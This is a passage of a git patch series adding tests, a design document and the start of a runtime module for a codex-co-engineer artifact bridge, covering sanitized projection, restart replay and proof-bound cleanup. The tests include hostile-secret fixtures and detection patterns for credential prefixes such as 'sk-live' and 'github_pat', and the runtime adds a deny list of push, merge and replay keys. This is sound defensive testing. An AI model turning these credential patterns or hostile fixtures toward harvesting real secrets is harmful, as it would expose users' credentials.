'transcript', + }))); + assert.equal(kind.code, 'unknown_artifact_kind'); + const empty = await errorOf(() => bridge.captureAssignmentArtifacts(captureInput({ + source: '', + }))); + assert.equal(empty.code, 'out_of_range'); + const extra = await errorOf(() => bridge.captureAssignmentArtifacts(captureInput({ + candidate: 'refs/codex-co-engineer/runs/run-artifact-main/candidate', + }))); + assert.equal(extra.code, 'unknown_key'); + assert.equal(rawStore.size(), 0); + assertContentFree(kind); + assertContentFree(empty); + assertContentFree(extra); +}); + +test('store exceptions become content-free store failures', async () => { + const inner = makeRawStore(); + const exploding = { + ...inner, + async publish() { + throw new Error(`ENOENT ${HOSTILE_PATH} ${HOSTILE_SECRET}`); + }, + }; + const { bridge } = makeBridge({ rawStore: exploding }); + const error = await errorOf(() => bridge.captureAssignmentArtifacts(captureInput())); + assert.equal(error.code, 'artifact_bridge_store_failed'); + assertContentFree(error); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-artifact-bridge.test.mjs b/plugins/codex-co-engineer/test/r1-run-artifact-bridge.test.mjs new file mode 100644 index 0000000..8e599b2 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-artifact-bridge.test.mjs @@ -0,0 +1,317 @@ +// P33 run artifact bridge focused coverage: identity-bound owner-only raw +// capture, bounded sanitized projection, restart truthfulness, and +// proof-bound per-run cleanup. + +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + ARTIFACT_CLASSES, + ARTIFACT_KINDS, +} from '../mcp/v3/artifact-ref.mjs'; +import { + CAPTURE_RECEIPT_KEYS, + CLEANUP_RECEIPT_KEYS, + MAX_PROJECTION_BYTES, + PROJECTION_ARTIFACT_KEYS, + PROJECTION_RECEIPT_KEYS, + RUN_ARTIFACT_BRIDGE_CAPTURE_SCHEMA_ID, + RUN_ARTIFACT_BRIDGE_CLEANUP_SCHEMA_ID, + RUN_ARTIFACT_BRIDGE_FACTORY_KEYS, + RUN_ARTIFACT_BRIDGE_METHODS, + RUN_ARTIFACT_BRIDGE_PROJECTION_SCHEMA_ID, + RUN_ARTIFACT_BRIDGE_SCHEMA_ID, + RUN_ARTIFACT_BRIDGE_VERSION, + createRunArtifactBridge, + describeRunArtifactBridgeV1, +} from '../mcp/v3/run-artifact-bridge.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + ASSIGNMENT_A, + ASSIGNMENT_B, + CLOCK_START, + HOSTILE_PATH, + HOSTILE_SECRET, + PLAIN_TEXT, + REDACTED, + RELATIVE_A, + RELATIVE_B, + RUN_ID, + SECRET_TEXT, + captureInput, + cleanupInput, + decodeSelected, + makeBridge, + makeClock, + makeEvidenceBundle, + makeRawStore, + makeSanitizer, + projectInput, +} from './fixtures/r1-run-artifact-bridge-fixtures.mjs'; + +const MODULE_PATH = fileURLToPath(new URL('../mcp/v3/run-artifact-bridge.mjs', import.meta.url)); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +function assertNoSecret(text, extras = []) { + assert.doesNotMatch(text, /sk-live/u); + assert.doesNotMatch(text, /ATTACKER-SECRET/u); + assert.doesNotMatch(text, /github_pat/u); + for (const extra of extras) { + assert.equal(text.includes(extra), false, 'must not leak extra secret material'); + } +} + +test('createRunArtifactBridge is the frozen v1 factory with exact methods', () => { + assert.equal(RUN_ARTIFACT_BRIDGE_SCHEMA_ID, 'codex-co-engineer.run-artifact-bridge.v1'); + assert.equal(RUN_ARTIFACT_BRIDGE_VERSION, 1); + assert.deepEqual([...RUN_ARTIFACT_BRIDGE_FACTORY_KEYS], [ + 'rawStore', 'sanitizer', 'evidenceBundle', 'clock', + ]); + assert.deepEqual([...RUN_ARTIFACT_BRIDGE_METHODS], [ + 'captureAssignmentArtifacts', + 'projectAssignmentArtifacts', + 'cleanupRunArtifacts', + ]); + const { bridge } = makeBridge(); + assert.deepEqual(Object.keys(bridge), [...RUN_ARTIFACT_BRIDGE_METHODS]); + assert.equal(Object.isFrozen(bridge), true); + const inventory = describeRunArtifactBridgeV1(); + assert.equal(inventory.raw_owner_only, true); + assert.equal(inventory.model_facing_sanitized_only, true); + assert.equal(inventory.proof_bound_cleanup, true); + assert.equal(inventory.automatic_gc, false); + assert.equal(inventory.remote_mutated, false); + assert.equal(inventory.imports_runtime, false); + assert.equal(inventory.imports_scheduler, false); + assert.equal(inventory.imports_lifecycle, false); + assert.equal(inventory.imports_server, false); + assert.equal(inventory.imports_candidate, false); + assert.deepEqual(inventory.artifact_classes, [...ARTIFACT_CLASSES]); + assert.deepEqual(inventory.artifact_kinds, [...ARTIFACT_KINDS]); + assert.equal(inventory.max_projection_bytes, MAX_PROJECTION_BYTES); +}); + +test('P33 source does not import runtime, scheduler, lifecycle, server, or candidate paths', async () => { + const source = await readFile(MODULE_PATH, 'utf8'); + for (const forbidden of [ + 'run-runtime.mjs', + 'run-scheduler.mjs', + 'run-journal.mjs', + 'acp-worker.mjs', + 'process-boundary.mjs', + 'supervisor.mjs', + 'server.mjs', + 'mailbox.mjs', + 'artifact-store.mjs', + 'artifact-sanitizer.mjs', + 'artifact-reader.mjs', + 'evidence-bundle.mjs', + 'run-candidate-composer.mjs', + 'run-combined-verifier.mjs', + ]) { + assert.equal(source.includes(`from './${forbidden}'`), false, forbidden); + } +}); + +test('capture publishes owner-only raw evidence and a sanitized projection receipt', async () => { + const { bridge, rawStore, evidenceBundle } = makeBridge(); + const receipt = await bridge.captureAssignmentArtifacts(captureInput()); + assertFrozenTree(receipt); + assert.deepEqual(Object.keys(receipt).sort(), [...CAPTURE_RECEIPT_KEYS].sort()); + assert.equal(receipt.schema, RUN_ARTIFACT_BRIDGE_CAPTURE_SCHEMA_ID); + assert.equal(receipt.run_id, RUN_ID); + assert.equal(receipt.assignment_id, ASSIGNMENT_A); + assert.equal(receipt.created, true); + assert.equal(receipt.captured_at, CLOCK_START); + assert.equal(receipt.raw_ref.artifact_class, 'raw'); + assert.equal(receipt.sanitized_ref.artifact_class, 'sanitized'); + assert.equal(receipt.raw_ref.relative_path, RELATIVE_A); + assert.equal(receipt.sanitized_ref.relative_path, RELATIVE_A); + assert.equal(Object.hasOwn(receipt, 'bytes'), false); + assert.equal(JSON.stringify(receipt).includes(PLAIN_TEXT), false); + const stored = await rawStore.get({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + relative_path: RELATIVE_A, + }); + assert.equal(stored.artifact_ref.artifact_class, 'raw'); + assert.equal(Buffer.from(stored.bytes).toString('utf8'), PLAIN_TEXT); + assert.equal(evidenceBundle.events[0].code, 'captured'); + assert.equal(evidenceBundle.events[0].kind, 'capture'); +}); + +test('project returns only bounded sanitized artifacts and never raw bytes', async () => { + const { bridge } = makeBridge(); + await bridge.captureAssignmentArtifacts(captureInput({ source: SECRET_TEXT })); + const projection = await bridge.projectAssignmentArtifacts(projectInput()); + assertFrozenTree(projection); + assert.deepEqual(Object.keys(projection).sort(), [...PROJECTION_RECEIPT_KEYS].sort()); + assert.equal(projection.schema, RUN_ARTIFACT_BRIDGE_PROJECTION_SCHEMA_ID); + assert.equal(projection.artifacts.length, 1); + const artifact = projection.artifacts[0]; + assert.deepEqual(Object.keys(artifact).sort(), [...PROJECTION_ARTIFACT_KEYS].sort()); + assert.equal(artifact.sanitized_ref.artifact_class, 'sanitized'); + assert.equal(Object.hasOwn(artifact, 'raw_ref'), false); + const text = decodeSelected(artifact); + assert.equal(text.includes(REDACTED), true); + assert.equal(artifact.redaction_count > 0, true); + assertNoSecret(text); + assertNoSecret(JSON.stringify(projection), [HOSTILE_SECRET, HOSTILE_PATH]); +}); + +test('identical capture replay is restart-truthful and does not duplicate raw storage', async () => { + const rawStore = makeRawStore(); + const evidenceBundle = makeEvidenceBundle(); + const first = makeBridge({ rawStore, evidenceBundle, clock: makeClock() }); + const created = await first.bridge.captureAssignmentArtifacts(captureInput()); + assert.equal(created.created, true); + assert.equal(rawStore.size(), 1); + + const restarted = makeBridge({ + rawStore, + evidenceBundle, + sanitizer: makeSanitizer(), + clock: makeClock('2026-08-25T22:05:00Z'), + }); + const replay = await restarted.bridge.captureAssignmentArtifacts(captureInput()); + assert.equal(replay.created, false); + assert.equal(replay.raw_ref.sha256, created.raw_ref.sha256); + assert.equal(rawStore.size(), 1); + const projection = await restarted.bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(projection.artifacts.length, 1); + assert.equal(decodeSelected(projection.artifacts[0]), PLAIN_TEXT); + assert.equal(evidenceBundle.events.some((event) => event.code === 'replayed'), true); +}); + +test('a different payload at the same identity fails closed without replacing bytes', async () => { + const { bridge, rawStore } = makeBridge(); + await bridge.captureAssignmentArtifacts(captureInput()); + const error = await errorOf(() => bridge.captureAssignmentArtifacts(captureInput({ + source: 'different payload', + }))); + assert.equal(error.code, 'artifact_bridge_restart_conflict'); + const stored = await rawStore.get({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + relative_path: RELATIVE_A, + }); + assert.equal(Buffer.from(stored.bytes).toString('utf8'), PLAIN_TEXT); +}); + +test('projection after restart re-sanitizes owner raw rather than inventing artifacts', async () => { + const rawStore = makeRawStore(); + const first = makeBridge({ rawStore }); + await first.bridge.captureAssignmentArtifacts(captureInput({ source: SECRET_TEXT })); + const restarted = makeBridge({ rawStore, sanitizer: makeSanitizer() }); + const projection = await restarted.bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(projection.artifacts.length, 1); + assertNoSecret(decodeSelected(projection.artifacts[0])); +}); + +test('cleanup with matching run proof removes only that run and is idempotent', async () => { + const { bridge, rawStore } = makeBridge(); + await bridge.captureAssignmentArtifacts(captureInput()); + await bridge.captureAssignmentArtifacts(captureInput({ + assignment_id: ASSIGNMENT_B, + artifact_kind: 'git_diff', + relative_path: RELATIVE_B, + source: 'diff --git a/x b/x', + })); + assert.equal(rawStore.size(), 2); + const cleaned = await bridge.cleanupRunArtifacts(cleanupInput({ + proof: { run_id: RUN_ID }, + })); + assertFrozenTree(cleaned); + assert.deepEqual(Object.keys(cleaned).sort(), [...CLEANUP_RECEIPT_KEYS].sort()); + assert.equal(cleaned.schema, RUN_ARTIFACT_BRIDGE_CLEANUP_SCHEMA_ID); + assert.equal(cleaned.cleaned, true); + assert.equal(cleaned.removed, 2); + assert.equal(cleaned.remaining, 0); + assert.equal(rawStore.size(), 0); + const replay = await bridge.cleanupRunArtifacts(cleanupInput({ + proof: { run_id: RUN_ID }, + })); + assert.equal(replay.cleaned, true); + assert.equal(replay.removed, 0); + const empty = await bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(empty.artifacts.length, 0); +}); + +test('assignment-scoped proof cannot escape the run or sibling assignments', async () => { + const { bridge, rawStore } = makeBridge(); + await bridge.captureAssignmentArtifacts(captureInput()); + await bridge.captureAssignmentArtifacts(captureInput({ + assignment_id: ASSIGNMENT_B, + artifact_kind: 'git_diff', + relative_path: RELATIVE_B, + source: 'diff --git a/x b/x', + })); + const cleaned = await bridge.cleanupRunArtifacts(cleanupInput({ + proof: { run_id: RUN_ID, assignment_ids: [ASSIGNMENT_A] }, + })); + assert.equal(cleaned.cleaned, true); + assert.equal(cleaned.removed, 1); + assert.equal(cleaned.remaining, 1); + const leftover = await rawStore.list({ run_id: RUN_ID }); + assert.equal(leftover.length, 1); + assert.equal(leftover[0].artifact_ref.assignment_id, ASSIGNMENT_B); +}); + +test('clock stamps capture, projection, and cleanup', async () => { + const clock = makeClock('2026-08-25T22:10:00Z'); + const { bridge } = makeBridge({ clock }); + const captured = await bridge.captureAssignmentArtifacts(captureInput()); + assert.equal(captured.captured_at, '2026-08-25T22:10:00Z'); + clock.set('2026-08-25T22:11:00Z'); + const projected = await bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(projected.projected_at, '2026-08-25T22:11:00Z'); + clock.set('2026-08-25T22:12:00Z'); + const cleaned = await bridge.cleanupRunArtifacts(cleanupInput()); + assert.equal(cleaned.cleaned_at, '2026-08-25T22:12:00Z'); +}); + +test('bounded projection clips selected bytes and reports paging facts', async () => { + const { bridge } = makeBridge(); + const source = 'abcdefghij'.repeat(100); + await bridge.captureAssignmentArtifacts(captureInput({ source })); + const page = await bridge.projectAssignmentArtifacts(projectInput({ + offset: 0, + max_bytes: 16, + })); + assert.equal(page.artifacts[0].selected_byte_length, 16); + assert.equal(page.artifacts[0].more, true); + assert.equal(page.artifacts[0].next_offset, 16); + assert.equal(page.artifacts[0].reader_clipped, true); + const rest = await bridge.projectAssignmentArtifacts(projectInput({ + offset: 16, + max_bytes: 16, + })); + assert.equal(decodeSelected(page.artifacts[0]) + decodeSelected(rest.artifacts[0]), + source.slice(0, 32)); +}); + +test('factory rejects missing injected seams', () => { + assert.throws(() => createRunArtifactBridge({}), (error) => { + assert.ok(error instanceof RunContractV1Error); + assert.equal(error.code, 'missing_key'); + return true; + }); +}); From 7feba61474a177b8e28b209f6a6bb417c91a59f0 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 22:36:29 +0000 Subject: [PATCH 131/151] docs(run): specify the run artifact bridge Record the injected factory, owner-only raw versus sanitized projection split, path-authority rules, restart truthfulness, and proof-bound cleanup that cannot escape the run or delete worktrees, branches, or candidate refs. --- docs/run-artifact-bridge.md | 127 ++++++++++++++++++++++++++++++++++++ 1 file changed, 127 insertions(+) create mode 100644 docs/run-artifact-bridge.md diff --git a/docs/run-artifact-bridge.md b/docs/run-artifact-bridge.md new file mode 100644 index 0000000..e353920 --- /dev/null +++ b/docs/run-artifact-bridge.md @@ -0,0 +1,127 @@ +# Run artifact bridge (P33) + +P33's artifact bridge is the identity-and-audience authority between +owner-only raw evidence and bounded sanitized model-facing projections. +It does not own the P08 store, P09 sanitizer, P13 evidence bundle, run +runtime, scheduler, lifecycle, server, or candidate composer. Those seams +are injected. It does not claim Gate A or release. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/run-artifact-bridge.mjs` +- `plugins/codex-co-engineer/test/r1-run-artifact-bridge.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-artifact-bridge-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-run-artifact-bridge-fixtures.mjs` +- this document + +## Factory + +```js +createRunArtifactBridge({ rawStore, sanitizer, evidenceBundle, clock }) +``` + +The options object has exactly those four keys. Extra keys, proxies, +accessors, and missing methods fail closed. The return is a frozen object +with exactly: + +- `captureAssignmentArtifacts` +- `projectAssignmentArtifacts` +- `cleanupRunArtifacts` + +`clock.now()` must return a UTC second-precision timestamp +(`YYYY-MM-DDTHH:MM:SSZ`). + +## Injected seams + +| Seam | Required methods | Role | +| --- | --- | --- | +| `rawStore` | `publish`, `get`, `list`, `remove` | Owner-only raw `ArtifactRefV1` bytes | +| `sanitizer` | `sanitize` | Bound sanitized projection plus redaction counts | +| `evidenceBundle` | `append`, `list` | Content-free capture/projection/cleanup events | +| `clock` | `now` | Deterministic timestamps | + +The bridge never imports those implementations. Tests use scoped in-memory +stubs. A later runtime lane may inject the accepted P08/P09/P13 authorities. + +Raw store records are `{ artifact_ref, bytes }`. `list({ run_id })` must +return only that run; a foreign `run_id` fails closed and prevents cleanup. + +`sanitize({ artifact_ref, source, source_truncated })` must return a +sanitized-class `ArtifactRefV1` for the same run, assignment, kind, and +path, plus detached `bytes` that hash to that ref. A raw-class result is +denied. Credential patterns in those bytes fail closed. + +## Capture + +`captureAssignmentArtifacts` is the owner-only write path. Required keys: + +`run_id`, `assignment_id`, `artifact_kind`, `relative_path`, `media_type`, +`source`. + +Optional keys: `content_encoding` (must be `identity`) and +`source_truncated`. + +`source` is a string or an intrinsic `Buffer`/`Uint8Array`. Empty or +over-cap sources fail. The relative path must be a P07 portable path and +must stay under `runs///`. Path authority cannot +broaden to another run, a parent segment, a worktree, or a candidate ref. + +The raw ref is published through `rawStore.publish` and re-read before the +receipt is returned. The sanitizer is asked for the matching sanitized +ref. The receipt is detached and frozen. It carries raw and sanitized +refs, redaction metadata, and `created`. It never includes source bytes, +store roots, or live handles. + +An identical digest at the same identity is a restart replay +(`created: false`) and does not duplicate storage. A different payload at +that identity is `artifact_bridge_restart_conflict` and leaves the original +bytes in place. + +## Projection + +`projectAssignmentArtifacts` is the model-facing read path. Required keys: + +`run_id`, `assignment_id`. + +Optional keys: `offset` (default `0`) and `max_bytes` (default and maximum +`8192`). + +The bridge lists that assignment's raw artifacts, re-sanitizes each one, +and returns only sanitized refs plus a base64 selected window. Raw class, +raw bytes, credentials, prompt text, and store roots are absent. A +credential pattern that survives the sanitizer fails closed rather than +being projected. + +Restart constructs a new bridge over the same injected raw store. Projection +re-reads raw bytes and re-sanitizes; it does not invent artifacts. + +## Cleanup + +`cleanupRunArtifacts` is manual and proof-bound. Required keys: + +`run_id`, `proof`. + +`proof` requires `run_id` and may include `assignment_ids` (1..8 unique +assignment ids). `proof.run_id` must equal the request `run_id`. Unknown +proof keys, including `worktree`, `branch`, `lock`, and `candidate`, fail +closed. There is no automatic garbage collection. + +Cleanup lists the proven run, refuses any foreign `run_id` or path, and +only then calls `rawStore.remove` with the exact listed identities. A +subset proof cannot remove a sibling assignment. A second call is +idempotent (`removed: 0`, `cleaned: true` when the targeted set is gone). +Worktrees, branches, handoffs, task receipts, and candidate refs are +outside this facade and are never deleted here. + +## Errors + +Failures are `RunContractV1Error` values with a closed code vocabulary. +Messages are content-free. They never echo source bytes, credentials, +absolute paths, or store errors. Injected-store exceptions become +`artifact_bridge_store_failed`. + +## Non-goals + +Runtime composition, scheduler dispatch, lifecycle settlement, MCP server +cutover, candidate refs, CHANGELOG/future-work edits, version changes, and +Gate A remain unclaimed. From 2b9990c41744c2f7435137412486eb7493c23b9e Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 22:51:34 +0000 Subject: [PATCH 132/151] feat(run-runtime): compose injected submit, resume, cancel, and inspect Add createRunRuntime over frozen P24/P25/R24A/R25B/P27/P34 seams and injected scheduler, artifact-bridge, and lifecycle functions. Durable P24 identity is the one-submission authority. Child terminal journal facts require lifecycle finality. Artifact cleanup stays proof-bound. --- .../codex-co-engineer/mcp/v3/run-runtime.mjs | 1568 +++++++++++++++++ 1 file changed, 1568 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/run-runtime.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/run-runtime.mjs b/plugins/codex-co-engineer/mcp/v3/run-runtime.mjs new file mode 100644 index 0000000..e19ef30 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-runtime.mjs @@ -0,0 +1,1568 @@ +// RunRuntimeV1 — P33 composition over frozen P24/P25/R24A/R25B/P27/P34 +// plus injected scheduler, artifact bridge, and lifecycle settlement. +// +// Additive v3 facade. createRunRuntime receives already-constructed +// handles and functions; it does not open roots, import scheduler or +// artifact-bridge implementations, or own worker/boundary/lock recovery. +// Exact P24 identity is the durable one-submission authority. Scheduler +// dispatch happens only when P24 reports created=true. Child terminal +// journal facts are accepted only after settleLocalTaskLifecycle returns +// final=true. cleanupLocalTaskLifecycle is invoked idempotently on +// terminal, cancel, and restart. Artifact cleanup is proof-bound and +// never runs without that finality. P27 is composed as R24A +// resolution_ready (ask-once selection already persisted). R25B is the +// aggregate journal path. P34 latches decision evidence. This module +// never inspects host process tables, unit membership, or managed locks, +// never creates candidate refs, and never claims Gate A, release, or a +// public tool. + +import { createHash } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + MAX_ASSIGNMENTS, + MIN_ASSIGNMENTS, + RunContractV1Error, + assertBaseSha, + assertRunId, + isAssignmentId, +} from './run-manifest.mjs'; +import { + RUN_JOURNAL_EVENT_KINDS, + RUN_JOURNAL_GENESIS_PREV, + RUN_JOURNAL_OUTCOMES, +} from './run-reducer.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const RUN_RUNTIME_SCHEMA_ID = 'codex-co-engineer.run-runtime.v1'; +export const RUN_RUNTIME_VERSION = 1; +export const RUN_RUNTIME_RECEIPT_SCHEMA_ID = 'codex-co-engineer.run-runtime-receipt.v1'; +export const RUN_RUNTIME_HASH_DOMAIN = 'codex-co-engineer.run-runtime-hash.v1'; + +export const RUN_RUNTIME_METHODS = capturedFreeze([ + 'submitRun', 'resumeRun', 'cancelRun', 'inspectRun', +]); +export const RUN_RUNTIME_DEPENDENCY_KEYS = capturedFreeze([ + 'aggregateAnchor', + 'artifactBridge', + 'attentionBatch', + 'cleanupLocalTaskLifecycle', + 'clock', + 'runJournal', + 'runStore', + 'scheduler', + 'settleLocalTaskLifecycle', +]); +export const RUN_STORE_METHODS = capturedFreeze(['getByRunId', 'submit']); +export const RUN_JOURNAL_METHODS = capturedFreeze([ + 'create', 'createAggregate', 'open', 'openAggregate', +]); +export const AGGREGATE_ANCHOR_METHODS = capturedFreeze(['getCoordination']); +export const ATTENTION_BATCH_METHODS = capturedFreeze(['get', 'latch', 'reply']); +export const SCHEDULER_METHODS = capturedFreeze([ + 'cancelAssignments', 'resumeAssignments', 'submitAssignments', +]); +export const ARTIFACT_BRIDGE_METHODS = capturedFreeze([ + 'captureAssignmentArtifacts', 'cleanupRunArtifacts', 'projectAssignmentArtifacts', +]); +export const LIFECYCLE_FUNCTION_KEYS = capturedFreeze([ + 'cleanupLocalTaskLifecycle', 'settleLocalTaskLifecycle', +]); + +export const RUN_RUNTIME_SUBMIT_KEYS = capturedFreeze([ + 'assignments', 'git', 'identity', 'provenance', 'request_idempotency_key', + 'run_id', 'telemetry', +]); +export const RUN_RUNTIME_RESUME_KEYS = capturedFreeze([ + 'assignment_ids', 'attention_items', 'cursors', 'run_id', +]); +export const RUN_RUNTIME_CANCEL_KEYS = capturedFreeze([ + 'assignment_ids', 'cleanup', 'run_id', +]); +export const RUN_RUNTIME_INSPECT_KEYS = capturedFreeze([ + 'assignment_id', 'cursor', 'run_id', +]); + +export const RUN_RUNTIME_STATUSES = capturedFreeze([ + 'submitted', 'idempotent', 'awaiting_selection', 'dispatched', 'partial', + 'inspected', 'cancelled', 'lifecycle_pending', +]); +export const RUN_RUNTIME_LANE_STATUSES = capturedFreeze([ + 'dispatched', 'running', 'needs_attention', 'completed', 'failed', + 'cancelled', 'unresolved', 'timeout', 'transport_lost', 'environment_blocked', + 'lifecycle_pending', +]); +export const RUN_RUNTIME_JOURNAL_MODES = capturedFreeze(['legacy', 'aggregate']); +export const RUN_RUNTIME_CLEANUP_STATUSES = capturedFreeze([ + 'pending', 'normal', 'recovered', 'unknown', 'failed', +]); +export const RUN_RUNTIME_BOUNDARY_STATUSES = capturedFreeze([ + 'pending', 'active', 'inactive_empty', 'unknown', 'not_applicable', +]); +export const RUN_RUNTIME_LOCK_STATUSES = capturedFreeze([ + 'pending', 'active', 'unlocked', 'cleaned', 'unknown', 'not_applicable', +]); +export const RUN_RUNTIME_LIFECYCLE_REASONS = capturedFreeze([ + 'boundary_visibility_unknown', + 'boundary_identity_mismatch', + 'boundary_not_empty', + 'worker_exit_timeout', + 'lock_release_unproven', + 'lock_cleanup_refused', + 'cleanup_failed', +]); +export const LIFECYCLE_RECORD_KEYS = capturedFreeze([ + 'boundary', 'cleanup', 'final', 'lock', 'public_state', 'reason', + 'stored_status', 'task_id', 'version', +]); +export const LIFECYCLE_CLEANUP_KEYS = capturedFreeze(['code', 'status']); +export const LIFECYCLE_PROOF_KEYS = capturedFreeze(['status']); + +export const RUN_RUNTIME_LANE_KEYS = capturedFreeze([ + 'access', 'assignment_id', 'attention', 'cleanup', 'cursor', 'model', + 'provider', 'required', 'role', 'starting_ref', 'status', 'task_id', + 'unresolved', 'write_scope', +]); +export const RUN_RUNTIME_RECEIPT_KEYS = capturedFreeze([ + 'assignment_count', 'attention', 'base_sha', 'checks', 'cleanup', + 'complete_candidate_blocked', 'created', 'cursor', 'journal', 'lanes', + 'observed_at', 'remote_mutated', 'run_id', 'schema', 'side_effects', + 'status', 'version', 'wake', +]); +export const RUN_RUNTIME_JOURNAL_KEYS = capturedFreeze([ + 'head_hash', 'mode', 'revision', 'run_opened', 'run_outcome', 'terminal', +]); +export const RUN_RUNTIME_ATTENTION_KEYS = capturedFreeze([ + 'batch_id', 'complete_candidate_blocked', 'revision', 'status', 'wake', +]); +export const RUN_RUNTIME_CLEANUP_KEYS = capturedFreeze([ + 'cleaned', 'proof_bound', 'remaining', 'removed', 'unresolved', +]); + +export const RUN_RUNTIME_CHECKS = capturedFreeze([ + 'request_quarantine', + 'exact_identity', + 'idempotent_submission', + 'one_submission', + 'p24_durable_identity', + 'p27_resolution_ready', + 'r25b_aggregate_journal', + 'no_duplicate_dispatch', + 'no_replay', + 'no_fallback', + 'lifecycle_final_before_child_terminal', + 'proof_bound_cleanup', + 'decision_or_attention', + 'remote_mutation_denied', +]); +export const RUN_RUNTIME_SIDE_EFFECTS = capturedFreeze([ + 'task_dispatched', + 'task_cancelled', + 'duplicate_dispatch', + 'replay', + 'fallback', + 'workspace_created', + 'branch_or_ref_created', + 'candidate_composed', + 'server_cutover', + 'lifecycle_owned', + 'lock_cleaned', + 'unit_stopped', + 'remote_mutated', +]); +export const RUN_RUNTIME_ALWAYS_FALSE_SIDE_EFFECTS = capturedFreeze([ + 'duplicate_dispatch', + 'replay', + 'fallback', + 'workspace_created', + 'branch_or_ref_created', + 'candidate_composed', + 'server_cutover', + 'lifecycle_owned', + 'lock_cleaned', + 'unit_stopped', + 'remote_mutated', +]); + +export const MAX_RUNTIME_DIAGNOSTIC_BYTES = 160; +export const CLOCK_ISO_PATTERN = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d{3})?Z$/u; +export const IDEMPOTENCY_KEY_PATTERN = /^sha256:[0-9a-f]{64}$/u; + +const HASH_ALGORITHM = 'sha256'; +const CREATE_HASH = createHash; +const IS_PROXY = utilTypes.isProxy; +const STRING = String; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const ARRAY_IS_ARRAY = Array.isArray; +const REFLECT_OWN_KEYS = Reflect.ownKeys; +const AGGREGATE_READY_PHASE = 'resolution_ready'; +const AGGREGATE_MISSING_CODES = capturedFreeze([ + 'aggregate_run_not_found', +]); +const JOURNAL_MISSING_CODES = capturedFreeze([ + 'run_journal_not_found', +]); +const TERMINAL_LANE_STATUSES = capturedFreeze([ + 'completed', 'failed', 'cancelled', 'unresolved', 'timeout', + 'transport_lost', 'environment_blocked', +]); +const JOURNAL_TERMINAL_STATUSES = capturedFreeze([ + 'completed', 'failed', 'cancelled', 'timeout', 'environment_blocked', +]); +const FORBIDDEN_REQUEST_KEYS = capturedFreeze({ + allow_fallback: 'replay_or_fallback_denied', + allow_post_dispatch_fallback: 'replay_or_fallback_denied', + allow_replay: 'replay_or_fallback_denied', + fallback: 'replay_or_fallback_denied', + fallback_model: 'replay_or_fallback_denied', + fallback_provider: 'replay_or_fallback_denied', + fallbacks: 'replay_or_fallback_denied', + redrive: 'replay_or_fallback_denied', + replay: 'replay_or_fallback_denied', + resend: 'replay_or_fallback_denied', + retry_dispatch: 'replay_or_fallback_denied', + direct_mode: 'direct_mode_rejected', + workspace_mode: 'direct_mode_rejected', + allow_create_pr: 'merge_authority_denied', + allow_merge: 'merge_authority_denied', + allow_push: 'merge_authority_denied', + create_pr: 'merge_authority_denied', + create_pull_request: 'merge_authority_denied', + force_push: 'merge_authority_denied', + merge: 'merge_authority_denied', + merge_pr: 'merge_authority_denied', + merges: 'merge_authority_denied', + open_pr: 'merge_authority_denied', + push: 'merge_authority_denied', + push_branch: 'merge_authority_denied', + github: 'remote_mutation_denied', + remote: 'remote_mutation_denied', + worktree: 'lifecycle_authority_denied', + branch: 'lifecycle_authority_denied', + lock: 'lifecycle_authority_denied', + candidate: 'candidate_authority_denied', + lifecycle_root: 'lifecycle_authority_denied', +}); + +const CONTENT_FREE = capturedFreeze({ + accessor_property_denied: 'Accessor properties are denied.', + aliased_reference_denied: 'Aliased references are denied.', + candidate_authority_denied: 'Candidate refs are outside this runtime.', + cursor_identity_mismatch: 'Cursor rows must bind the exact assignment and task.', + direct_mode_rejected: 'Run submissions reject direct mode.', + duplicate_assignment_id: 'Assignment ids in a run must be unique.', + exotic_prototype_denied: 'Exotic prototypes are denied.', + injected_dependency_invalid: 'createRunRuntime requires the closed injected seams.', + invalid_clock: 'The injected clock must return a UTC timestamp.', + invalid_format: 'A runtime field is not in the required format.', + invalid_type: 'A runtime field is not the required JSON type.', + lifecycle_authority_denied: 'The runtime does not own worker, boundary, or lock recovery.', + merge_authority_denied: 'Merge, push, and pull-request authority is denied.', + missing_key: 'A required runtime field is missing.', + own_undefined_denied: 'Own undefined values are denied.', + out_of_range: 'A runtime collection is outside the closed bounds.', + proxy_denied: 'Proxy values are denied.', + remote_mutation_denied: 'Remote mutation is denied.', + replay_or_fallback_denied: 'Replay and fallback are denied.', + runtime_assignment_unknown: 'The assignment id is not part of this run.', + runtime_cleanup_unproven: 'Artifact cleanup requires proven run ownership and lifecycle finality.', + runtime_identity_conflict: 'The run id already binds a different canonical body.', + runtime_journal_failed: 'The injected journal seam failed closed.', + runtime_lifecycle_failed: 